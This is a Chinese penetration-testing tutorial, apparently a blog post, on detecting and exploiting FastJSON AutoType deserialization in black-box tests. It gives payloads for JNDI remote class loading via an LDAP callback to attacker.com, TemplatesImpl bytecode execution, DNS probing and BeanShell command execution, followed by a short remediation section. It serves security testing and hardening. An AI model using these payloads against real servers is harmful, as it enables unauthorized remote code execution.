渗透测试实战:FastJSON漏洞如何在黑盒场景中精准触发?

渗透测试实战:FastJSON漏洞如何在黑盒场景中精准触发?

🧨 FastJSON 渗透实战指南


1️⃣ 什么是 FastJSON?

FastJSON 是阿里巴巴开源的一款高性能 Java JSON 解析库,用于将 JSON 字符串转换为 Java 对象,或将 Java 对象序列化为 JSON。

👉 开发者最常用的方法

 Object obj = JSON.parse(json); // 动态解析,关键点!

JSON.parse的安全隐患分析详情👉 一文看懂 JSON.parse 背后的安全隐患与黑盒利用方法-极客星球


2️⃣ FastJSON 漏洞产生原因

🚨 问题核心:AutoType 自动类型识别

当传入如下 JSON:

 {
   "@type": "com.sun.rowset.JdbcRowSetImpl",
   "dataSourceName": "ldap://attacker.com:1389/Exploit",
   "autoCommit": true
 }

AutoType 功能未禁用,FastJSON 会尝试加载并实例化你指定的类。攻击者可以构造恶意类,实现远程代码执行(RCE)!

🧯 正常业务场景根本不需要 @type,但若未做限制,就容易被利用。


3️⃣ 怎么发现可利用点呢?

✅ 观察错误信息:

关键词意义
com.alibaba.fastjsonFastJSON 类路径
com.alibaba.fastjson.JSONExceptionJSON 解析异常
AutoType is not support禁用 AutoType 提示
Could not auto-type class尝试加载类失败,典型 FastJSON 错误
parseObject / parseArray方法堆栈中可能出现
ClassNotFoundException + @type尝试加载不存在类(典型探测响应)

报错信息示例:

 {
   "error": {
     "message": "Could not auto-type class",
     "type": "com.alibaba.fastjson.JSONException"
   }
 }

✅ API 特征分析:

1. 参数中出现原始 JSON 字符串字段

 {
   "payload": "{\"a\":1,\"b\":2}"   // 👈 明显是服务端要 parse 的
 }

🔍 说明:开发者常将嵌套 JSON 作为字符串参数传给后端,然后用 JSON.parse(payload) 解析。


2. 接口直接接收 JSON 并返回原样结构

 POST /api/echo
 Content-Type: application/json
 ​
 {
   "name": "Alice",
   "age": 23
 }

响应:

 {
   "code": 0,
   "data": {
     "name": "Alice",
     "age": 23
   }
 }

🎯 推测:接口对原始 JSON 做了结构化处理再输出,可能使用了 parseObject()


3. 接口响应字段中回显了传入的结构(比如 @type

输入:

 { "@type":"www.geekserver.top" }

响应回显:

 { "@type": "www.geekserver.top" }

🔍 说明服务端未做结构过滤,可能直接使用了 JSONObject 存储处理用户输入。

👉当参数字段名中出现dataconfigjsonpayload 就应该引起注意

✅ 响应行为分析:

  • 请求中加入 @type 字段后,如果有下面特征,就需要进一步分析:
    • 直接回显
    • 报错有类名或堆栈信息
    • 响应时间明显变慢(sleep 链)
    • DNS 有请求(URL/DNS 测试)

4️⃣ 漏洞利用方式

📍 利用方式一:JNDI 回连

 {
   "@type": "com.sun.rowset.JdbcRowSetImpl",
   "dataSourceName": "ldap://attacker.com:1389/Exploit",
   "autoCommit": true
 }
  • ✅ 原理:
    • setDataSourceName() 内部会调用 connect()
    • autoCommit=true 时触发 JNDI 查询 → 远程类加载 → RCE
  • 🎯关注点:
    • 确认 autoCommit 字段被调用
    • 确认LDAP 服务端返回恶意 class
  • 🔥 结果:RCE 或 LDAP 服务器收到回连

📍 利用方式二:TemplatesImpl RCE

 {
   "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
   "transletBytecodes": ["<恶意字节码 base64>"],
   "transletName": "a",
   "outputProperties": {}
 }
  • ✅ 原理:类加载器会执行字节码静态块,具体:
    • newTemplates() 时会加载并实例化 bytecode 中的类
    • bytecode 中可植入静态块执行任意命令
  • 🔥 结果:直接 RCE

📍 利用方式三:DNS 盲注

 {
   "@type": "java.net.InetAddress",
   "val": "www.geekserver.top"
 }

📍 利用方式四:BeanShell 执行脚本

 {
   "@type":"bsh.BeanShell",
   "name": "geekserver.top",
   "eval": "java.lang.Runtime.getRuntime().exec('id').toString()"
 }
  • ✅ 前提:服务端有 BeanShell
  • 🔍 原理:bsh.BeanShelleval() 时直接执行脚本
  • 🔥 结果:直接命令执行(某些旧系统)

5️⃣ 总结

步骤操作工具建议
🎯 收集Burp 抓包,分析响应结构、错误信息Burp Suite
🔍 探测插入 {"@type":"xxx"} 逐步 fuzzBurp Intruder
📡 验证DNS、回连、延迟判断DNSLog、JNDI 工具
💥 利用发送 Payload,触发命令执行LDAP 服务器、Metasploit
🧪 取证回连日志、系统变更、回显信息Burp Logger、日志分析

🛡️ 修复建议:

  • 关闭 AutoType:ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
  • 若必须开启,严格配置白名单:addAccept("com.safe.package.")
  • 不使用 JSON.parse(),应指定明确类
© 版权声明
THE END
喜欢就支持一下吧
点赞11赞赏 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容